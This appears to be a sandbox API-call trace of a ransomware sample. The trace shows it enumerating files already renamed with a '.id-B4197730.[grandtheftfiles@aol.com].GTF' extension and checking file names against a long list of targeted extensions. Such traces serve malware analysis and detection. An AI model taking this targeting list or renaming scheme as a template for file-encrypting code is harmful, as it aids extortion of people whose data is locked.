	[0153.109] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa017e332, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa017e332, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0450b53, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.110] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.110] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.110] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1049", cAlternateFileName="")) returned 1
	[0153.110] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.110] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x41400d8
	[0153.112] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f651472, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.112] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f547c30, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f547c30, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f56c5c1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.112] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f56c5c1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f56c5c1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f62b0f7, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0153.112] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0153.112] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa01ca9c8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xa01ca9c8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa0216cc9, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0153.112] FindClose (in: hFindFile=0x41400d8 | out: hFindFile=0x41400d8) returned 1
	[0153.113] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0153.113] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1053", cAlternateFileName="")) returned 1
	[0153.113] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0153.113] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x4140298
	[0153.254] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f69d8ad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f69d8ad, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0153.254] FindNextFileW (in: hFindFile=0x4140298, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f651472, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f651472, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f6775cc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0153.254] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0153.254] lstrlenW (lpString=".1cd") returned 4
	[0153.254] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0153.254] lstrlenW (lpString=".3ds") returned 4
	[0153.254] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0153.254] lstrlenW (lpString=".3fr") returned 4
	[0153.254] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0153.254] lstrlenW (lpString=".3g2") returned 4
	[0153.255] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".3gp") returned 4
	[0153.255] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".7z") returned 3
	[0153.255] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0153.255] lstrlenW (lpString=".accda") returned 6
	[0153.255] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".accdb") returned 6
	[0153.255] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".accdc") returned 6
	[0153.255] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".accde") returned 6
	[0153.255] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".accdt") returned 6
	[0153.255] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".accdw") returned 6
	[0153.255] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0153.255] lstrlenW (lpString=".adb") returned 4
	[0153.255] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".adp") returned 4
	[0153.255] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai") returned 3
	[0153.255] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai3") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai4") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai5") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai6") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai7") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".ai8") returned 4
	[0153.255] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0153.255] lstrlenW (lpString=".anim") returned 5
	[0153.255] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0153.255] lstrlenW (lpString=".arw") returned 4
	[0153.255] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".as") returned 3
	[0153.256] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0153.256] lstrlenW (lpString=".asa") returned 4
	[0153.256] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".asc") returned 4
	[0153.256] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".ascx") returned 5
	[0153.256] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0153.256] lstrlenW (lpString=".asm") returned 4
	[0153.256] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".asmx") returned 5
	[0153.256] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0153.256] lstrlenW (lpString=".asp") returned 4
	[0153.256] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".aspx") returned 5
	[0153.256] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0153.256] lstrlenW (lpString=".asr") returned 4
	[0153.256] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".asx") returned 4
	[0153.256] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".avi") returned 4
	[0153.256] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".avs") returned 4
	[0153.256] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".backup") returned 7
	[0153.256] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0153.256] lstrlenW (lpString=".bak") returned 4
	[0153.256] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".bay") returned 4
	[0153.256] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".bd") returned 3
	[0153.256] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0153.256] lstrlenW (lpString=".bin") returned 4
	[0153.256] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".bmp") returned 4
	[0153.256] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0153.256] lstrlenW (lpString=".bz2") returned 4
	[0153.256] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".c") returned 2
	[0153.257] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0153.257] lstrlenW (lpString=".cdr") returned 4
	[0153.257] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cer") returned 4
	[0153.257] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cf") returned 3
	[0153.257] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0153.257] lstrlenW (lpString=".cfc") returned 4
	[0153.257] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cfm") returned 4
	[0153.257] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cfml") returned 5
	[0153.257] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0153.257] lstrlenW (lpString=".cfu") returned 4
	[0153.257] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".chm") returned 4
	[0153.257] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cin") returned 4
	[0153.257] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".class") returned 6
	[0153.257] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0153.257] lstrlenW (lpString=".clx") returned 4
	[0153.257] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".config") returned 7
	[0153.257] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0153.257] lstrlenW (lpString=".cpp") returned 4
	[0153.257] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cr2") returned 4
	[0153.257] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".crt") returned 4
	[0153.257] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".crw") returned 4
	[0153.257] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0153.257] lstrlenW (lpString=".cs") returned 3
	[0153.257] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0153.257] lstrlenW (lpString=".css") returned 4
	[0153.257] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".csv") returned 4
	[0153.258] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".cub") returned 4
	[0153.258] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dae") returned 4
	[0153.258] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dat") returned 4
	[0153.258] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".db") returned 3
	[0153.258] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0153.258] lstrlenW (lpString=".dbf") returned 4
	[0153.258] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dbx") returned 4
	[0153.258] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dc3") returned 4
	[0153.258] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dcm") returned 4
	[0153.258] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dcr") returned 4
	[0153.258] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".der") returned 4
	[0153.258] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dib") returned 4
	[0153.258] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dic") returned 4
	[0153.258] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".dif") returned 4
	[0153.258] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".divx") returned 5
	[0153.258] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0153.258] lstrlenW (lpString=".djvu") returned 5
	[0153.258] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0153.258] lstrlenW (lpString=".dng") returned 4
	[0153.258] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".doc") returned 4
	[0153.258] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0153.258] lstrlenW (lpString=".docm") returned 5
	[0153.258] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0153.259] lstrlenW (lpString=".docx") returned 5
	[0153.259] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0153.259] lstrlenW (lpString=".dot") returned 4
	[0153.259] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dotm") returned 5
	[0153.259] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0153.259] lstrlenW (lpString=".dotx") returned 5
	[0153.259] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0153.259] lstrlenW (lpString=".dpx") returned 4
	[0153.259] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dqy") returned 4
	[0153.259] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dsn") returned 4
	[0153.259] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dt") returned 3
	[0153.259] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0153.259] lstrlenW (lpString=".dtd") returned 4
	[0153.259] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dwg") returned 4
	[0153.259] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dwt") returned 4
	[0153.259] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".dx") returned 3
	[0153.259] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0153.259] lstrlenW (lpString=".dxf") returned 4
	[0153.259] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".edml") returned 5
	[0153.259] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0153.259] lstrlenW (lpString=".efd") returned 4
	[0153.259] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".elf") returned 4
	[0153.259] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".emf") returned 4
	[0153.259] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".emz") returned 4
	[0153.259] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".epf") returned 4
	[0153.259] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0153.259] lstrlenW (lpString=".eps") returned 4
	[0153.260] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".epsf") returned 5
	[0153.260] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0153.260] lstrlenW (lpString=".epsp") returned 5
	[0153.260] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0153.260] lstrlenW (lpString=".erf") returned 4
	[0153.260] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".exr") returned 4
	[0153.260] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".f4v") returned 4
	[0153.260] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".fido") returned 5
	[0153.260] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0153.260] lstrlenW (lpString=".flm") returned 4
	[0153.260] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".flv") returned 4
	[0153.260] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".frm") returned 4
	[0153.260] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".fxg") returned 4
	[0153.260] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".geo") returned 4
	[0153.260] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".gif") returned 4
	[0153.260] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".grs") returned 4
	[0153.260] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0153.260] lstrlenW (lpString=".gz") returned 3
	[0153.260] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0153.260] lstrlenW (lpString=".h") returned 2
	[0153.260] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0153.260] lstrlenW (lpString=".hdr") returned 4
	[0153.260] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0153.260] lstrlenW (lpString=".hpp") returned 4
	[0153.260] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0153.260] lstrlenW (lpString=".hta") returned 4
	[0153.260] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0153.260] lstrlenW (lpString=".htc") returned 4
	[0153.260] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".htm") returned 4
	[0153.261] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".html") returned 5
	[0153.261] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0153.261] lstrlenW (lpString=".icb") returned 4
	[0153.261] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".ics") returned 4
	[0153.261] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".iff") returned 4
	[0153.261] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".inc") returned 4
	[0153.261] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".indd") returned 5
	[0153.261] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0153.261] lstrlenW (lpString=".ini") returned 4
	[0153.261] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".iqy") returned 4
	[0153.261] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".j2c") returned 4
	[0153.261] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".j2k") returned 4
	[0153.261] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".java") returned 5
	[0153.261] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0153.261] lstrlenW (lpString=".jp2") returned 4
	[0153.261] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".jpc") returned 4
	[0153.261] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".jpe") returned 4
	[0153.261] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".jpeg") returned 5
	[0153.261] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0153.261] lstrlenW (lpString=".jpf") returned 4
	[0153.261] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".jpg") returned 4
	[0153.261] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".jpx") returned 4
	[0153.261] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0153.261] lstrlenW (lpString=".js") returned 3
	[0153.262] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0153.262] lstrlenW (lpString=".jsf") returned 4
	[0153.262] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".json") returned 5
	[0153.262] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0153.262] lstrlenW (lpString=".jsp") returned 4
	[0153.262] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".kdc") returned 4
	[0153.262] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".kmz") returned 4
	[0153.262] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".kwm") returned 4
	[0153.262] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".lasso") returned 6
	[0153.262] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0153.262] lstrlenW (lpString=".lbi") returned 4
	[0153.262] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".lgf") returned 4
	[0153.262] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".lgp") returned 4
	[0153.262] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".log") returned 4
	[0153.262] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".m1v") returned 4
	[0153.262] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".m4a") returned 4
	[0153.262] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".m4v") returned 4
	[0153.262] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".max") returned 4
	[0153.262] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0153.262] lstrlenW (lpString=".md") returned 3
	[0153.262] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0153.262] lstrlenW (lpString=".mda") returned 4
